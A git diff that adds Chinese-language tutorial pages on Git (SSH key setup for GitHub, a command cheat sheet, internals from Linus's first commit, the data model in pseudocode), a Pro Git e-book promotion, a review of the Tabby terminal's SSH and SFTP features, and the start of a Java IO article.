+如果没有 id_rsa.pub、id_ecdsa.pub、id_ed25519.pub 这 3 个文件,表示密钥不存在。
+
+**第二步,生成新 SSH 密钥**
+
+执行以下命令,注意替换成你的邮箱:
+
+```
+ssh-keygen -t ed25519 -C "your_email@example.com
+```
+
+然后一路回车:
+
+
+
+记得复制一下密钥,在 id_ed25519.pub 文件中:
+
+
+
+**第三步,添加 SSH 密钥到 GitHub 帐户**
+
+在个人账户的 settings 菜单下找到 SSH and GPG keys,将刚刚复制的密钥添加到 key 这一栏中,点击「add SSH key」提交。
+
+
+
+Title 可不填写,提交成功后会列出对应的密钥:
+
+
+
+**为什么 GitHub 需要 SSH 密钥呢**?
+
+因为 GitHub 需要确认是“你本人”在往你自己的远程仓库上提交版本的,而不是别人冒充的。
+
+**第四步,在 GitHub 上创建个人仓库**
+
+点击新建仓库,填写仓库名称等信息:
+
+
+
+**第五步,把本地仓库同步到 GitHub**
+
+复制远程仓库的地址:
+
+
+
+在本地仓库中执行 `git remote add` 命令将 GitHub 仓库添加到本地:
+
+
+
+当我们第一次使用Git 的 push 命令连接 GitHub 时,会得到一个警告⚠️:
+
+```
+The authenticity of host 'github.com (20.205.243.166)' can't be established.
+ECDSA key fingerprint is SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM.
+Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
+```
+
+这是因为需要你手动确认,输入 yes 即可。
+
+接下来,我们使用 `git push` 命令将当前本地分支推送到 GitHub。加上了 -u 参数后,Git 不但会把本地的 master 分支推送的远程 master 分支上,还会把本地的 master 分支和远程的master 分支关联起来,在以后的推送或者拉取时就可以简化命令(比如说 `git push github master`)。
+
+
+
+此时,我们刷一下 GitHub,可以看到多了一个 master 分支,并且本地的两个文件都推送成功了!
+
+
+
+从现在开始,只要本地做了修改,就可以通过 `git push` 命令推送到 GitHub 远程仓库了。
+
+还可以使用 `git clone` 命令将远程仓库拷贝到本地。比如说我现在有一个 3.4k star 的仓库 JavaBooks,
+
+
+
+然后我使用 `git clone` 命令将其拷贝到本地。
+
+
\ No newline at end of file
diff --git a/docs/git/mingling.md b/docs/git/mingling.md
new file mode 100644
index 0000000000..c4a83e8c37
--- /dev/null
+++ b/docs/git/mingling.md
@@ -0,0 +1,304 @@
+虽然每天多多少少都会敲一些 Git 命令,但仍然有很多记不住,可怜我这脑袋瓜子了。。
+
+一般来说,日常使用只要记住下图中这 6 个命令就可以了,但是熟练使用 Git,恐怕要记住60~100个命令~
+
+
+
+
+
+在 Git 专题的[开篇](https://mp.weixin.qq.com/s/hzEnH3ThvuRDW4EeBLlumw),我就提醒大家一定要记住这几个专用名词,对掌握 Git 有很大的帮助:
+
+- Workspace:工作区
+- Index / Stage:暂存区
+- Repository:仓库区(或本地仓库)
+- Remote:远程仓库
+
+当然了,没记住的话,也不要紧了,今天就趁机再温故一遍。
+
+下面是阮一峰老师整理的常用 Git 命令清单,有必要的话,可以打印一份出来,放在工作台~
+
+>http://www.ruanyifeng.com/blog/2015/12/git-cheat-sheet.html
+
+### 一、新建代码库
+
+```
+# 在当前目录新建一个Git代码库
+$ git init
+
+# 新建一个目录,将其初始化为Git代码库
+$ git init [project-name]
+
+# 下载一个项目和它的整个代码历史
+$ git clone [url]
+```
+
+### 二、配置
+Git的配置文件为.gitconfig,它可以在用户主目录下(全局配置),也可以在项目目录下(项目配置)。
+
+```
+# 显示当前的Git配置
+$ git config --list
+
+# 编辑Git配置文件
+$ git config -e [--global]
+
+# 设置提交代码时的用户信息
+$ git config [--global] user.name "[name]"
+$ git config [--global] user.email "[email address]"
+```
+
+### 三、增加/删除文件
+
+```
+# 添加指定文件到暂存区
+$ git add [file1] [file2] ...
+
+# 添加指定目录到暂存区,包括子目录
+$ git add [dir]
+
+# 添加当前目录的所有文件到暂存区
+$ git add .
+
+# 添加每个变化前,都会要求确认
+# 对于同一个文件的多处变化,可以实现分次提交
+$ git add -p
+
+# 删除工作区文件,并且将这次删除放入暂存区
+$ git rm [file1] [file2] ...
+
+# 停止追踪指定文件,但该文件会保留在工作区
+$ git rm --cached [file]
+
+# 改名文件,并且将这个改名放入暂存区
+$ git mv [file-original] [file-renamed]
+```
+### 四、代码提交
+
+```
+# 提交暂存区到仓库区
+$ git commit -m [message]
+
+# 提交暂存区的指定文件到仓库区
+$ git commit [file1] [file2] ... -m [message]
+
+# 提交工作区自上次commit之后的变化,直接到仓库区
+$ git commit -a
+
+# 提交时显示所有diff信息
+$ git commit -v
+
+# 使用一次新的commit,替代上一次提交
+# 如果代码没有任何新变化,则用来改写上一次commit的提交信息
+$ git commit --amend -m [message]
+
+# 重做上一次commit,并包括指定文件的新变化
+$ git commit --amend [file1] [file2] ...
+```
+
+### 五、分支
+
+```
+# 列出所有本地分支
+$ git branch
+
+# 列出所有远程分支
+$ git branch -r
+
+# 列出所有本地分支和远程分支
+$ git branch -a
+
+# 新建一个分支,但依然停留在当前分支
+$ git branch [branch-name]
+
+# 新建一个分支,并切换到该分支
+$ git checkout -b [branch]
+
+# 新建一个分支,指向指定commit
+$ git branch [branch] [commit]
+
+# 新建一个分支,与指定的远程分支建立追踪关系
+$ git branch --track [branch] [remote-branch]
+
+# 切换到指定分支,并更新工作区
+$ git checkout [branch-name]
+
+# 切换到上一个分支
+$ git checkout -
+
+# 建立追踪关系,在现有分支与指定的远程分支之间
+$ git branch --set-upstream [branch] [remote-branch]
+
+# 合并指定分支到当前分支
+$ git merge [branch]
+
+# 选择一个commit,合并进当前分支
+$ git cherry-pick [commit]
+
+# 删除分支
+$ git branch -d [branch-name]
+
+# 删除远程分支
+$ git push origin --delete [branch-name]
+$ git branch -dr [remote/branch]
+```
+
+### 六、标签
+
+```
+# 列出所有tag
+$ git tag
+
+# 新建一个tag在当前commit
+$ git tag [tag]
+
+# 新建一个tag在指定commit
+$ git tag [tag] [commit]
+
+# 删除本地tag
+$ git tag -d [tag]
+
+# 删除远程tag
+$ git push origin :refs/tags/[tagName]
+
+# 查看tag信息
+$ git show [tag]
+
+# 提交指定tag
+$ git push [remote] [tag]
+
+# 提交所有tag
+$ git push [remote] --tags
+
+# 新建一个分支,指向某个tag
+$ git checkout -b [branch] [tag]
+```
+
+### 七、查看信息
+
+```
+# 显示有变更的文件
+$ git status
+
+# 显示当前分支的版本历史
+$ git log
+
+# 显示commit历史,以及每次commit发生变更的文件
+$ git log --stat
+
+# 搜索提交历史,根据关键词
+$ git log -S [keyword]
+
+# 显示某个commit之后的所有变动,每个commit占据一行
+$ git log [tag] HEAD --pretty=format:%s
+
+# 显示某个commit之后的所有变动,其"提交说明"必须符合搜索条件
+$ git log [tag] HEAD --grep feature
+
+# 显示某个文件的版本历史,包括文件改名
+$ git log --follow [file]
+$ git whatchanged [file]
+
+# 显示指定文件相关的每一次diff
+$ git log -p [file]
+
+# 显示过去5次提交
+$ git log -5 --pretty --oneline
+
+# 显示所有提交过的用户,按提交次数排序
+$ git shortlog -sn
+
+# 显示指定文件是什么人在什么时间修改过
+$ git blame [file]
+
+# 显示暂存区和工作区的差异
+$ git diff
+
+# 显示暂存区和上一个commit的差异
+$ git diff --cached [file]
+
+# 显示工作区与当前分支最新commit之间的差异
+$ git diff HEAD
+
+# 显示两次提交之间的差异
+$ git diff [first-branch]...[second-branch]
+
+# 显示今天你写了多少行代码
+$ git diff --shortstat "@{0 day ago}"
+
+# 显示某次提交的元数据和内容变化
+$ git show [commit]
+
+# 显示某次提交发生变化的文件
+$ git show --name-only [commit]
+
+# 显示某次提交时,某个文件的内容
+$ git show [commit]:[filename]
+
+# 显示当前分支的最近几次提交
+$ git reflog
+```
+### 八、远程同步
+```
+# 下载远程仓库的所有变动
+$ git fetch [remote]
+
+# 显示所有远程仓库
+$ git remote -v
+
+# 显示某个远程仓库的信息
+$ git remote show [remote]
+
+# 增加一个新的远程仓库,并命名
+$ git remote add [shortname] [url]
+
+# 取回远程仓库的变化,并与本地分支合并
+$ git pull [remote] [branch]
+
+# 上传本地指定分支到远程仓库
+$ git push [remote] [branch]
+
+# 强行推送当前分支到远程仓库,即使有冲突
+$ git push [remote] --force
+
+# 推送所有分支到远程仓库
+$ git push [remote] --all
+```
+### 九、撤销
+```
+# 恢复暂存区的指定文件到工作区
+$ git checkout [file]
+
+# 恢复某个commit的指定文件到暂存区和工作区
+$ git checkout [commit] [file]
+
+# 恢复暂存区的所有文件到工作区
+$ git checkout .
+
+# 重置暂存区的指定文件,与上一次commit保持一致,但工作区不变
+$ git reset [file]
+
+# 重置暂存区与工作区,与上一次commit保持一致
+$ git reset --hard
+
+# 重置当前分支的指针为指定commit,同时重置暂存区,但工作区不变
+$ git reset [commit]
+
+# 重置当前分支的HEAD为指定commit,同时重置暂存区和工作区,与指定commit一致
+$ git reset --hard [commit]
+
+# 重置当前HEAD为指定commit,但保持暂存区和工作区不变
+$ git reset --keep [commit]
+
+# 新建一个commit,用来撤销指定commit
+# 后者的所有变化都将被前者抵消,并且应用到当前分支
+$ git revert [commit]
+
+# 暂时将未提交的变化移除,稍后再移入
+$ git stash
+$ git stash pop
+```
+### 十、其他
+```
+# 生成一个可供发布的压缩包
+$ git archive
+```
\ No newline at end of file
diff --git a/docs/git/neibushixian.md b/docs/git/neibushixian.md
new file mode 100644
index 0000000000..872f4c793b
--- /dev/null
+++ b/docs/git/neibushixian.md
@@ -0,0 +1,75 @@
+学习 Git 的内部实现,最好的办法是看 Linus 最初的代码提交,checkout 出 Git 项目的第一次提交节点,可以看到代码库中只有几个文件:一个 README,一个构建脚本 Makefile,剩下几个 C 源文件。这次 commit 的备注写的也非常特别:
+
+```
+commit e83c5163316f89bfbde7d9ab23ca2e25604af290
+Author: Linus Torvalds
+Date: Thu Apr 7 15:13:13 2005 -0700
+
+ Initial revision of "git", the information manager from hell
+```
+
+在 README 中,Linus 详细描述了 Git 的设计思路。看似复杂的 Git 工作,在 Linus 的设计里,只有两种对象抽象:
+
+- 对象数据库(“object database”);
+- 当前目录缓存(“current directory cache”)。
+
+Git 的本质就是一系列的文件对象集合,代码文件是对象、文件目录树是对象、commit 也是对象。这些文件对象的名称即内容的 SHA1 值,SHA1 哈希算法的值为 40 位。Linus 将前二位作为文件夹、后 38 位作为文件名。大家可以在 .git 目录里的 objects 里看到有很多两位字母/数字名称的目录,里面存储了很多 38 位 hash 值名称的文件,这就是 Git 的所有信息。
+
+Linus 在设计对象的数据结构时按照 <标签ascii码表示>(blob/tree/commit) + <空格> + <长度ascii码表示> + <\0> + <二进制数据内容> 来定义,大家可以用 xxd 命令看下 objects 目录里的对象文件(需 zlib 解压),比如一个 tree 对象文件内容如下:
+
+```
+00000000: 7472 6565 2033 3700 3130 3036 3434 2068 tree 37.100644 h
+00000010: 656c 6c6f 2e74 7874 0027 0c61 1ee7 2c56 ello.txt.'.a..,V
+00000020: 7bc1 b2ab ec4c bc34 5bab 9f15 ba
+```
+
+对象有三种:BLOB、TREE、CHANGESET。
+
+BLOB: 即二进制对象,这就是 Git 存储的文件,Git 不像某些 VCS (如 SVN)那样存储变更 delta 信息,而是存储文件在每一个版本的完全信息。
+
+比如先提交了一份 hello.c 进入了 Git 库,会生成一个 BLOB 文件完整记录 hello.c 的内容;对 hello.c 修改后,再提交 commit,会再生成一个新的 BLOB 文件记录修改后的 hello.c 全部内容。
+
+Linus 在设计时,BLOB 中仅记录文件的内容,而不包含文件名、文件属性等元数据信息,这些信息被记录在第二种对象 TREE 里。
+
+TREE: 目录树对象。在 Linus 的设计里,TREE 对象就是一个时间切片中的目录树信息抽象,包含了文件名、文件属性及 BLOB 对象的 SHA1 值信息,但没有历史信息。这样的设计好处是可以快速比较两个历史记录的 TREE 对象,不能读取内容,而根据 SHA1 值显示一致和差异的文件。
+
+另外,由于 TREE 上记录文件名及属性信息,对于修改文件属性或修改文件名、移动目录而不修改文件内容的情况,可以复用 BLOB 对象,节省存储资源。而 Git 在后来的开发演进中又优化了 TREE 的设计,变成了某一时间点文件夹信息的抽象,TREE 包含其子目录的 TREE 的对象信息(SHA1)。这样,对于目录结构很复杂或层级较深的 Git 库 可以节约存储资源。历史信息被记录在第三种对象 CHANGESET 里。
+
+
+
+CHANGESET:即 Commit 对象。一个 CHANGESET 对象中记录了该次提交的 TREE 对象信息(SHA1),以及提交者(committer)、提交备注(commit message)等信息。
+
+跟其他 SCM(软件配置管理)工具所不同的是,Git 的 CHANGESET 对象不记录文件重命名和属性修改操作,也不会记录文件修改的 Delta 信息等,CHANGESET 中会记录父节点 CHANGESET 对象的 SHA1 值,通过比较本节点和父节点的 TREE 信息来获取差异。
+
+Linus 在设计 CHANGESET 父节点时允许一个节点最多有 16 个父节点,虽然超过两个父节点的合并是很奇怪的事情,但实际上,Git 是支持超过两个分支的多头合并的。
+
+Linus 在三种对象的设计解释后着重阐述了可信(TRUST):虽然 Git 在设计上没有涉及可信的范畴,但 Git 作为配置管理工具是可以做到可信的。原因是所有的对象都以 SHA1 编码(Google 实现 SHA1 碰撞攻击是后话,且 Git 社区也准备使用更高可靠性的 SHA256 编码来代替),而签入对象的过程可信靠签名工具保证,如 GPG 工具等。
+
+理解了 Git 的三种基本对象,那么对于 Linus 对于 Git 初始设计的“对象数据库”和“当前目录缓存”这两层抽象就很好理解了。加上原本的工作目录,Git 有三层抽象,如下图示:一个是当前工作区(Working Directory),也就是我们查看/编写代码的地方,一个是 Git 仓库(Repository),即 Linus 说的对象数据库,我们在 Git 仓看到的 .git 文件夹中存储的内容,Linus 在第一版设计时命名为 .dircache,在这两个存储抽象中还有一层中间的缓存区(Staging Area),即 .git/index 里存储的信息,我们在执行 git add 命令时,便是将当前修改加入到了缓存区。
+
+Linus 解释了“当前目录缓存”的设计,该缓存就是一个二进制文件,内容结构很像 TREE 对象,与 TREE 对象不同的是 index 不会再包含嵌套 index 对象,即当前修改目录树内容都在一个 index 文件里。这样设计有两个好处:
+
+- 1. 能够快速的复原缓存的完整内容,即使不小心把当前工作区的文件删除了,也可以从缓存中恢复所有文件;
+- 2. 能够快速找出缓存中和当前工作区内容不一致的文件。
+
+
+
+Linus 在 Git 的第一次代码提交里便完成了 Git 的最基础功能,并可以编译使用。代码极为简洁,加上 Makefile 一共只有 848 行。感兴趣的话可以通过上一段所述方法 checkout Git 最早的 commit 上手编译玩玩,只要有 Linux 环境即可。
+
+因为依赖库版本的问题,需要对原始 Makefile 脚本做些小修改。Git 第一个版本依赖 openssl 和 zlib 两个库,需要手工安装这两个开发库。在 ubuntu 上执行: sudo apt install libssl-dev libz-dev ;然后修改 makefile 在 LIBS= -lssl 行 中的 -lssl 改成 -lcrypto 并增加 -lz ;最后执行 make,忽略编译告警,会发现编出了7个可执行程序文件:init-db, update-cache, write-tree, commit-tree, cat-file, show-diff 和 read-tree。
+
+下面分别简要介绍下这些可执行程序的实现:
+
+- init-db: 初始化一个 git 本地仓库,这也就是我们现在每次初始化建立 git 库式敲击的 git init 命令。只不过一开始 Linus 建立的仓库及 cache 文件夹名称叫 .dircache,而不是我们现在所熟知的 .git 文件夹。
+- update-cache: 输入文件路径,将该文件(或多个文件)加入缓冲区中。具体实现是:校验路径合法性,然后将文件计算 SHA1值,将文件内容加上 blob 头信息进行 zlib 压缩后写入到对象数据库(.dircache/objects)中;最后将文件路径、文件属性及 blob sha1 值更新到 .dircache/index 缓存文件中。
+- write-tree: 将缓存的目录树信息生成 TREE 对象,并写入对象数据库中。TREE 对象的数据结构为:‘tree ‘ + 长度 + \0 + 文件树列表。文件树列表中按照 文件属性 + 文件名 + \0 + SHA1 值结构存储。写入对象成功后,返回该 TREE 对象的 SHA1 值。
+- commit-tree: 将 TREE 对象信息生成 commit 节点对象并提交到版本历史中。具体实现是输入要提交的 TREE 对象 SHA1 值,并选择输入父 commit 节点(最多 16个),commit 对象信息中包含 TREE、父节点、committer 及作者的 name、email及日期信息,最后写入新的 commit 节点对象文件,并返回 commit 节点的 SHA1 值。
+- cat-file: 由于所有的对象文件都经过 zlib 压缩,因此想要查看文件内容的话需要使用这个工具来解压生成临时文件,以便查看对象文件的内容。
+- show-diff: 快速比较当前缓存与当前工作区的差异,因为文件的属性信息(包括修改时间、长度等)也保存在缓存的数据结构中,因此可以快速比较文件是否有修改,并展示差异部分。
+- read-tree: 根据输入的 TREE 对象 SHA1 值输出打印 TREE 的内容信息。
+
+这就是第一个可用版本的 Git 的全部七个子程序,可能用过 Git 的小伙伴会说:这怎么跟我常用的 Git 命令不一样呢?Git add, git commit 呢?是的,在最初的 Git 设计中是没有我们这些平常所使用的 git 命令的。
+
+在 Git 的设计中,有两种命令:分别是底层命令(Plumbing commands)和高层命令(Porcelain commands)。一开始,Linus 就设计了这些给开源社区黑客使用的符合 Unix KISS 原则的命令,因为黑客们本身就是动手高手,水管坏了就撸起袖子去修理,因此这些命令被称为 plumbing commands。
+
+后来接手 Git 的 Junio Hamano 觉得这些命令对于普通用户不太友好,因此在此之上,封装了更易于使用、接口更精美的高层命令,也就是我们今天每天使用的 git add, git commit 之类。Git add 就是封装了 update-cache 命令,而 git commit 就是封装了 write-tree, commit-tree 命令。
\ No newline at end of file
diff --git a/docs/git/progit.md b/docs/git/progit.md
new file mode 100644
index 0000000000..6875e8c3b0
--- /dev/null
+++ b/docs/git/progit.md
@@ -0,0 +1,38 @@
+今天给大家分享一本个人最近看过觉得非常不错的Git开源手册,可能有些小伙伴也看过了,我是最近在通勤路上用PAD看的。这本开源手册,它除了有**PDF版**,还有**epub电子书版**,非常适合电子阅读,有需要的小伙伴可以在文末自行下载:
+
+
+
+相信看完对于个人Git知识体系的梳理和掌握是非常有帮助的。
+
+这本手册在豆瓣上评价极高,之前9.3,现在也有9.1的高分,其作者是GitHub的员工,内容主要侧重于各种场合中的惯用法和底层原理的讲述,手册中还针对不同的使用场景,设计了几个合适的版本管理策略。简而言之,这本手册无论是对于初学者还是想进一步了解Git工作原理的开发者都非常合适。
+
+
+
+
+
+这个手册一共分为十章,详细内容如下:
+
+
+
+**手册中部分内容展示如下:**
+
+
+
+
+
+
+
+
+
+**需要该Git手册PDF+epub电子书的小伙伴:**
+
+
+
+可直接长按扫码关注下方二维码,回复 「**git**」 即可下载:
+
+
+
+
+好了,这次资源分享就到这里!后续如果遇到有用的工具或者资源,依然还会持续分享,也欢迎大家多多安利和交流,一起分享成长。
+
+以上,我们下篇见。
diff --git a/docs/git/shujujiegou.md b/docs/git/shujujiegou.md
new file mode 100644
index 0000000000..863cd766e3
--- /dev/null
+++ b/docs/git/shujujiegou.md
@@ -0,0 +1,135 @@
+尽管 Git 的接口有些难懂,但它底层的设计和思想却非常的优雅。难懂的接口只能靠死记硬背,但优雅的底层设计则非常容易理解。我们可以通过一种自底向上的方式来学习 Git,先了解底层的数据模型,再学习它的接口。可以这么说,一旦搞懂了 Git 的数据模型,再学习它的接口并理解这些接口是如何操作数据模型的就非常容易了。
+
+进行版本控制的方法很多,Git 拥有一个精心设计的模型,这使其能够支持版本控制所需的所有特性,比如维护历史记录、支持分支和团队协作。
+
+### 快照
+
+Git 将顶级目录中的文件和文件夹称作集合,并通过一系列快照来管理历史记录。在 Git 的术语中,文件被称为 blob 对象(数据对象),也就是一组数据。目录则被称为 tree(树),目录中可以包含文件和子目录。
+
+```
+ (tree)
+|
++- foo (tree)
+| |
+| + bar.txt (blob, contents = "hello world")
+|
++- baz.txt (blob, contents = "git is wonderful")
+```
+
+顶层的树(也就是 root) 包含了两个元素,一个名为 foo 的子树(包含了一个 blob 对象“bar.txt”),和一个 blob 对象“baz.txt”。
+
+### 历史记录建模:关联快照
+
+版本控制系统是如何和快照进行关联的呢?线性历史记录是一种最简单的模型,它包含了一组按照时间顺序线性排列的快照。不过,出于种种原因,Git 没有采用这种模型。
+
+在 Git 中,历史记录是一个由快照组成的有向无环图。“有向无环图”,听起来很高大上,但其实并不难理解。我们只需要知道这代表 Git 中的每个快照都有一系列的父辈,也就是之前的一系列快照。这些快照通常被称为“commit”,看起来好像是下面这样:
+
+```
+o <-- o <-- o <-- o
+ ^
+ \
+ --- o <-- o
+```
+
+o 表示一次 commit,也就是一次快照。箭头指向了当前 commit 的父辈。在第三次 commit 之后,历史记录分叉成了两条独立的分支,这可能是因为要同时开发两个不同的特性,它们之间是相互独立的。开发完成后,这些分支可能会被合并为一个新的 commit,这个新的 commit 会同时包含这些特性,看起来好像是下面这样:
+
+```
+o <-- o <-- o <-- o <---- o
+ ^ /
+ \ v
+ --- o <-- o
+```
+
+Git 中的 commit 是不可改变的。当然了,这并不意味着不能被修改,只不过这种“修改”实际上是创建了一个全新的提交记录。
+
+### 数据模型及其伪代码表示
+
+以伪代码的形式来学习 Git 的数据模型,可能更加通俗易懂。
+
+```
+// 文件是一组数据
+type blob = array
+
+// 一个包含了文件和子目录的目录
+type tree = map
+
+// 每个 commit 都包含了一个父辈,元数据和顶层树
+type commit = struct {
+ parent: array // 父辈
+ author: string // 作者
+ message: string // 信息
+ snapshot: tree // 快照
+}
+```
+
+### 对象和内存寻址
+
+Git 中的对象可以是 blob、tree 或者 commit:
+
+```
+type object = blob | tree | commit
+```
+
+Git 在存储数据的时候,所有的对象都会基于它们的安全散列算法进行寻址。
+
+```
+objects = map
+
+def store(object):
+ id = sha1(object)
+ objects[id] = object
+
+def load(id):
+ return objects[id]
+```
+
+blob、tree 和 commit 一样,都是对象。当它们引用其他对象时,并没有真正在硬盘上保存这些对象,而是仅仅保存了它们的哈希值作为引用。
+
+还记得之前的例子吗?
+
+```
+ (tree)
+|
++- foo (tree)
+| |
+| + bar.txt (blob, contents = "hello world")
+|
++- baz.txt (blob, contents = "git is wonderful")
+```
+
+root 引用的 foo 和 baz.txt 就像下面这样:
+
+```
+100644 blob 4448adbf7ecd394f42ae135bbeed9676e894af85 baz.txt
+040000 tree c68d233a33c5c06e0340e4c224f0afca87c8ce87 foo
+```
+
+### 引用
+
+所有的快照都可以通过它们的哈希值来标记,但 40 位的十六进制字符实在是太难记了,很不方便。针对这个问题,Git 的解决办法是给这些哈希值赋予一个可读的名字,也就是引用(reference),引用是指向 commit 的指针,与对象不同,它是可变的,可以被更新,指向新的 commit。通常,master 引用通常会指向主分支的最新一次 commit。
+
+```
+references = map
+
+def update_reference(name, id):
+ references[name] = id
+
+def read_reference(name):
+ return references[name]
+
+def load_reference(name_or_id):
+ if name_or_id in references:
+ return load(references[name_or_id])
+ else:
+ return load(name_or_id)
+```
+
+这样,Git 就可以使用“master”这样容易被记住的名称来表示历史记录中特定的 commit,而不需要再使用一长串的十六进制字符了。
+
+在 Git 中,当前的位置有一个特殊的索引,它就是“HEAD”。
+
+### 仓库
+
+我们可以粗略地给出 Git 仓库的定义了:对象 和 引用。
+
+在硬盘上,Git 仅存储对象和引用,因为其数据模型仅包含这些东西。所有的 git 命令都对应着对 commit 树的操作。
diff --git a/docs/gongju/tabby.md b/docs/gongju/tabby.md
new file mode 100644
index 0000000000..a116813d4b
--- /dev/null
+++ b/docs/gongju/tabby.md
@@ -0,0 +1,160 @@
+大家好,我是二哥呀!
+
+作为一名 Java 后端开发,日常工作中免不了要和 Linux 服务器打交道,因为生产环境基本上都是部署在 Linux 环境下的。以前呢,我会选择 Xshell 来作为终端进行远程操作。
+
+随着付费版本的出现,尤其是 Xshell 把 FTP 分离出去后,上传下载文件的话还需要单独装一下 Xftp,这显然没有之前集成在一起方便😖。
+
+还有一点让我费解的是,Xshell 竟然一直没有推出 macOS 版。
+
+不过,滴水之恩当涌泉相报,我还是要说,Xshell 真的是非常的 Nice,从实习到现在,Windows 环境下,我基本上一直在用,差不多有快 10 年的时间了,感情还是在的。
+
+相信很多小伙伴也在问,有没有一款,**集成了 FTP 功能,并且跨平台的终端工具呢?如果能免费开源的话,就更好了**!
+
+答案是有的,它就是 **Tabby**!
+
+
+
+GitHub 上已经有 21.4k 的 star 了,这说明 Tabby 非常的受欢迎:
+
+>https://github.com/eugeny/tabby
+
+*Tabby:二哥,我谢谢你呀,能再吹两句吗?*
+
+Tabby 是一个高度可定制化的 跨平台的终端工具,支持 Windows、macOS 和 Linux,自带 SFTP 功能,能与 Linux 服务器轻松传输文件,支持多种主题,界面炫酷,插件丰富。
+
+### 一、安装 Tabby
+
+直接到官网 `tabby.sh` 点击「download」按钮就可以跳转到下载页面,最新的 release 版本是 1.0.164。
+
+
+
+Linux 和 Windows 的比较好选,macOS 分为两个版本,一个是 arm64,一个是 x86-64,什么意思呢?
+
+这里简单普及下哈。
+
+>ARM是英国ARM公司提供一种CPU架构的知识产权,目前主流的手机和平板电脑都采用ARM架构,但 ARM 不生产芯片,只是从各种嵌入式设备、智能手机、平板电脑、智能穿戴和物联网设备体内的上亿颗处理器中“抽成”。
+
+Apple M1 是苹果公司的第一款基于ARM架构的自研处理器单片系统。
+
+> X86_X64 源于英特尔几十年前出品的CPU型号8086,包括后续型号8088/80286/80386/80486/80586等等,8086以及8088被当时的IBM采用,制造出了名噪一时的IBM PC机,从此个人电脑风靡一时。
+
+详情可参阅下面这篇:
+
+>https://www.cnblogs.com/zhaoqingqing/p/13145115.html
+
+从这一点上可以证明,Tabby 的更新是非常勤快的,连 macOS 的最新芯片 M1 都支持了,厉害了呀,我的虎斑猫(Tabby)!
+
+按照提示,一步步安装就 OK 了。完成后打开,这界面还是非常炫酷的。
+
+
+
+## 二、SSH 连接
+
+SSH,也就是 Secure Shell(安全外壳协议),是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境,通过在网络中创建安全隧道来实现 SSH 客户端和服务器端之间的连接。
+
+之前说要带大家玩转 Linux 服务器,我们先安装了[宝塔面板](https://mp.weixin.qq.com/s/ditN9J80rSWwnYRumwb4ww)这个神器。宝塔里面有自带的终端,但说实话,体验一般。
+
+那不妨我们就使用 Tabby 来与服务器建立一个 SSH 连接吧。
+
+点击「setting」→「profiles & connections」→「new profile」。
+
+
+
+填写服务器的 IP 地址和密码,然后点击「save」。
+
+
+
+之后点击「运行」按钮,就可以进入到终端页面了。
+
+
+
+
+好了,现在可以对服务器进行操作了,执行下 top 命令可以查看服务器上正在运行的进程信息。
+
+
+
+### 三、SFTP 传输文件
+
+Tabby 集成了 SFTP,所以上传下载文件就变得非常的简单。只需要点击一下「SFTP」图标就可以打开文件传输窗口。
+
+
+
+上传的时候支持拖拽,完成后会弹出文件传输成功的提示消息。
+
+
+
+下载的时候点击要下载的文件,然后会弹出存储对话框,选择对应的文件夹,以及修改对应的文件名点击「存储」就可以了。
+
+
+
+### 四、配置 Tabby
+
+「Settings」 的面板下有一个「Appearance」的菜单,可以对 Tabby 的外观进行设置,比如说调整字体,比如说自定义样式。
+
+
+
+「Appearance」的菜单可以对 Tabby 的配色方案进行修改,里面的主题非常多,不过我感觉默认的就挺不错,毕竟是官方推荐的。
+
+
+
+
+ 「Plugins」 菜单中还有不少插件可供扩展。
+
+
+
+* [clickable-links](https://github.com/Eugeny/tabby-clickable-links) - 使终端中的路径和 URL 可点击
+* [docker](https://github.com/Eugeny/tabby-docker) - 连接到 Docker 容器
+* [title-control](https://github.com/kbjr/terminus-title-control) - 允许通过提供要删除的前缀、后缀和/或字符串来修改终端选项卡的标题
+* [quick-cmds](https://github.com/Domain/terminus-quick-cmds) - 快速向一个或所有终端选项卡发送命令
+* [save-output](https://github.com/Eugeny/tabby-save-output) - 将终端输出记录到文件中
+
+这里重点说一下「sync config」 这个插件,可以将配置同步到Github或者Gitee的插件。点击「Get」就可以安装,之后会提示你重启生效。
+
+
+
+生效后点击「Sync Config」菜单,就可以看到配置项了,类型可以选择 GitHub、Gitee、GitLab。
+
+
+
+这里以 Gitee 为例,进入个人 Gitee 主页,左侧菜单中选择「私人令牌」,然后点击「生成新令牌」。
+
+
+
+提交后会生成 token,复制到 Tabby 的 Token 输入框中,然后点击「Upload config」,就可以看到配置信息同步成功了。
+
+
+
+
+
+ 「Window」 菜单中可以对当前窗口进行设置,比如说改变窗口的主题为 Paper,改变 tab 的位置到底部等等。
+
+
+
+### 五、总结
+
+SSH 连接和 SFTP 传输恐怕是我们操作 Linux 服务器最常用的两个功能了,那 Tabby 对这两个功能的支持非常的友好,足够的轻量级。关键它是跨平台的,Windows、macOS 都可以用,再把配置信息同步到云上后,多平台下切换起来简直不要太舒服。
+
+Windows 用户习惯用 Xshell,macOS 用户习惯用 iTerm2,但这两款工具都没办法跨平台,多平台操作的用户就可以选择 Tabby 来体验一下,真心不错。
+
+Tabby 的学习资料还比较少,所以希望二哥的这篇文章能给有需要的小伙伴提供一点点的帮助和启发。
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/docs/io/shangtou.md b/docs/io/shangtou.md
new file mode 100644
index 0000000000..7601d4b86d
--- /dev/null
+++ b/docs/io/shangtou.md
@@ -0,0 +1,347 @@
+
+
+“老王,Java IO 也太上头了吧?”新兵蛋子小二向头顶很凉快的老王抱怨道,“你瞧,我就按照传输方式对 IO 进行了一个简单的分类,就能搞出来这么多的玩意!”
+
+
+
+好久没搞过 IO 了,老王看到这幅思维导图也是吃了一惊。想想也是,他当初学习 Java IO 的时候头也大,乌央乌央的一片,全是类,估计是所有 Java 包里面类最多的,一会是 Input 一会是 Output,一会是 Reader 一会是 Writer,真不知道 Java 的设计者是怎么想的。
+
+看着肺都快要气炸的小二,老王深深地吸了一口气,耐心地对小二说:“主要是 Java 的设计者考虑得比较多吧,所以 IO 给人一种很乱的感觉,我来给你梳理一下。”
+
+### 01、传输方式划分
+
+就按照你的那副思维导图来说吧。
+
+传输方式有两种,字节和字符,那首先得搞明白字节和字符有什么区别,对吧?
+
+字节(byte)是计算机中用来表示存储容量的一个计量单位,通常情况下,一个字节有 8 位(bit)。
+
+字符(char)可以是计算机中使用的字母、数字、和符号,比如说 A 1 $ 这些。
+
